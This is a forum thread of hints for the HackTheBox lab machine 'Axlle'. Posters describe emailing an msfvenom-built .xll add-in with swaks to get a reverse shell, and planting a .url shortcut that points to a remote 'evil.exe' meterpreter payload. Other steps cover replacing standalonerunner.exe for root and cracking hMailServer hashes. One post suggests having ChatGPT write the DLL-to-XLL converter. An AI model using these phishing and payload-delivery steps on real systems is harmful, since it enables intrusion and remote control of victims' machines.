HTB - Axlle
by Sqweez - Saturday June 22, 2024 at 06:57 PM
#61
(Jun 23, 2024, 12:46 PM)Th3B4h0z Wrote: any hint for from app-devs to root ?

There is a thread with writeup.
Replace standalonerunner.exe

I used a standard meterpreter shell and overwrote the file every 5s. Also had to use an automigrate script.
I'm sure there is a more elegant way.
Reply
#62
(Jun 23, 2024, 12:51 PM)ritualist Wrote:
(Jun 23, 2024, 12:46 PM)Th3B4h0z Wrote: any hint for from app-devs to root ?

There is a thread with writeup.
Replace standalonerunner.exe

I used a standard meterpreter shell and overwrote the file every 5s. Also had to use an automigrate script.
I'm sure there is a more elegant way.

Elegant way perhaps the intended way - https://github.com/nasbench/Misc-Researc...eRunner.md

(Jun 23, 2024, 12:50 PM)jimmyshoemacher Wrote:
(Jun 23, 2024, 11:43 AM)bmoon10 Wrote:
(Jun 23, 2024, 11:32 AM)jimmyshoemacher Wrote: anyone know how to use the hMailServer creds once you get the password?

1. hMailServer administrator encrypted pass is not crackable but the sqlserver pass is.

2. you can download the hMailserver.sdf and use the right tools + password to login into the database

3. dump the SHA256 password hashes of mail account holders from the table

4. try to crack the SHA256 hash and with john / hashcat.

it might be a dead-end nevertheless exploring all the avenue is a good thing.

i tried using the sql creds everywhere but i don't gain access to anything, is it required to get the user flag? or is it all together just a dead end?

Its a subterfuge.
Reply
#63
For those who are still stuck at creating .xll file and get reverse shell
1. create a .dll file with msfvenom (google it )
2. ask chatgpt to give a script which converts .dll to .xll it will give a python script use that to get .xll
3. swaks --to accounts@axlle.htb --from cyberz@axlle.htb --server 10.129.232.91 --port 25 --header "Subject: test" --body "test" --attach @Poc.xll
4. set listener in msfconsol will get reverse shell after a minute
5. if it doesn't work reset machine and try again.
Reply
#64
(Jun 23, 2024, 10:54 AM)game95 Wrote:
(Jun 23, 2024, 07:11 AM)maggi Wrote:
(Jun 23, 2024, 06:32 AM)ritualist Wrote:
(Jun 23, 2024, 05:09 AM)maggi Wrote: anyone have a tip on how to move on from gideon after finding the hmail creds?

Didn't use those creds. But there is a hint in an email in the Data folder.
Something like this worked for me
$url = "file:////10.10.x.x/share/evil.exe"
$shortcutPath = "C:\inetpub\testing\shortcut.url"
$shortcutContent = "[InternetShortcut]`r`nURL=$url"
Set-Content -Path $shortcutPath -Value $shortcutContent

Good looks I didn't think of that!
 I knew it was a link but I always forget I can share a share

What is a payload of evil.exe could you share pls?

evil.exe is just a quickie placeholder name I use for msf payloads
windows/x64/meterpreter/reverse_tcp
Reply
#65
thx for sharing!
Reply
#66
guys what for user flag

(Jun 23, 2024, 05:55 PM)maggi Wrote:
(Jun 23, 2024, 10:54 AM)game95 Wrote:
(Jun 23, 2024, 07:11 AM)maggi Wrote:
(Jun 23, 2024, 06:32 AM)ritualist Wrote:
(Jun 23, 2024, 05:09 AM)maggi Wrote: anyone have a tip on how to move on from gideon after finding the hmail creds?

Didn't use those creds. But there is a hint in an email in the Data folder.
Something like this worked for me
$url = "file:////10.10.x.x/share/evil.exe"
$shortcutPath = "C:\inetpub\testing\shortcut.url"
$shortcutContent = "[InternetShortcut]`r`nURL=$url"
Set-Content -Path $shortcutPath -Value $shortcutContent

Good looks I didn't think of that!
 I knew it was a link but I always forget I can share a share

What is a payload of evil.exe could you share pls?

evil.exe is just a quickie placeholder name I use for msf payloads
windows/x64/meterpreter/reverse_tcp

bro this after gaining shell as whom?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#67
i'm stucked with getting rev shell. I use
swaks --to accounts@axlle.htb --from root@test.htb --body "Shell" --header "Subject: Help me Breach the System" --attach shell.xll --server axlle.htb
but didnt get the rev shell Huh Huh . What is the error??
Reply
#68
i get the password of mssql how to log in the database

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed
Reply
#69
(Jun 23, 2024, 10:12 PM)Liy4 Wrote: i'm stucked with getting rev shell. I use
swaks --to accounts@axlle.htb --from root@test.htb --body "Shell" --header "Subject: Help me Breach the System" --attach shell.xll --server axlle.htb
but didnt get the rev shell Huh Huh . What is the error??


I wasted a lot of time along this issue.
The problem is that you missed the @ symbol right before shell.xll.
If you crafted correctly the payload, this must help
swaks --to accounts@axlle.htb --from root@test.htb --body "Shell" --header "Subject: Help me Breach the System" --attach @Shell.xll --server axlle.htb
Reply
#70
(Jun 23, 2024, 10:12 PM)Liy4 Wrote: i'm stucked with getting rev shell. I use
swaks --to accounts@axlle.htb --from root@test.htb --body "Shell" --header "Subject: Help me Breach the System" --attach shell.xll --server axlle.htb
but didnt get the rev shell Huh Huh . What is the error??

Use --attach @Shell.xll it will work
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,569 1 hour ago
Last Post: popoler
  [FREE] CPTS 12 FLAGS pulsebreaker 66 1,812 8 hours ago
Last Post: vlka
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 370 92,613 Yesterday, 05:05 PM
Last Post: lifolifo007
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 23 2,227 Yesterday, 02:10 PM
Last Post: kkkato
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 422 Apr 29, 2026, 10:36 PM
Last Post: op334

Forum Jump:


 Users browsing this forum: 1 Guest(s)